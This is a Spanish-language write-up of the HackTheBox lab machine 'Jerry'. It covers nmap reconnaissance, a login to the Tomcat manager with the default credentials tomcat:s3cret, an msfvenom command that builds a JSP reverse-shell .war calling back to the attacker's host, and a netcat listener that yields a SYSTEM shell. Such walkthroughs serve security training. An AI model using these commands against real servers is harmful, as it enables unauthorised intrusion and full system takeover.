Jerry
Skills
- Information Leakage
- Abusing Tomcat [Intrusion & Privilege Escalation]
Certificaciones
- eJPT
Descripción
Jerry
es una máquina easy windows
, hay un tomcat por el puerto 8080
, usando las credenciales
por defecto
accederemos a /manger/html
donde subiremos un .war
malicioso que usaremos para ganar acceso
a la máquina víctima como usuario Administrator
Reconocimiento
Se comprueba que la máquina
está activa
y se determina su sistema operativo
, el ttl
de las máquinas windows
suele ser 128
, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad
1
2
3
4
5
6
7
8
# ping 10.129.191.206
PING 10.129.191.206 (10.129.191.206) 56(84) bytes of data.
64 bytes from 10.129.191.206: icmp_seq=1 ttl=127 time=165 ms
64 bytes from 10.129.191.206: icmp_seq=2 ttl=127 time=131 ms
^C
--- 10.129.191.206 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 131.328/148.125/164.923/16.797 ms
Nmap
Se va a realizar un escaneo de todos los puertos
abiertos en el protocolo TCP
a través de nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# sudo nmap -p- --open --min-rate 5000 -sS -Pn -n -v 10.129.191.206 -oG openPorts
[sudo] password for justice-reaper:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-23 18:29 CEST
Initiating SYN Stealth Scan at 18:29
Scanning 10.129.191.206 [65535 ports]
Discovered open port 8080/tcp on 10.129.191.206
Completed SYN Stealth Scan at 18:29, 26.38s elapsed (65535 total ports)
Nmap scan report for 10.129.191.206
Host is up (0.061s latency).
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
8080/tcp open http-proxy
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.44 seconds
Raw packets sent: 131089 (5.768MB) | Rcvd: 21 (924B)
Se procede a realizar un análisis de detección
de servicios
y la identificación
de versiones
utilizando los puertos abiertos encontrados
1
2
3
4
5
6
7
8
9
10
11
12
13
# nmap -sCV -p 8080 10.129.191.206 -Pn -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-23 18:30 CEST
Nmap scan report for 10.129.191.206
Host is up (0.059s latency).
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.48 seconds
Web Enumeration
Cuando accedemos a http://10.129.191.206:8080
vemos lo siguiente
Cuando intentamos acceder a /manger/html
nos aparece este panel de login
Al usar un listado
de credenciales
por defecto
que podemos encontrar en https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat#default-credentials ganamos acceso con las credenciales tomcat:s3cret
Intrusión
Creamos con msfvenom
un archivo .war
para ganar acceso a la máquina víctima
1
# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.16 LPORT=443 -f war -o revshell.war
Subimos
el archivo .war malicioso
Nos ponemos en escucha
mediante netcat
en el puerto 443
1
# nc -nlvp 443
Hacemos click
sobre el archivo
, lo que nos llevará a http://10.129.191.206:8080/revshell/
ejecutándose y enviándonos una reverse shell
a nuestro equipo
Ganamos acceso al equipo como nt authority\system
1
2
3
4
5
6
7
8
9
# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.16] from (UNKNOWN) [10.129.191.206] 49192
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\apache-tomcat-7.0.88>whoami
whoami
nt authority\system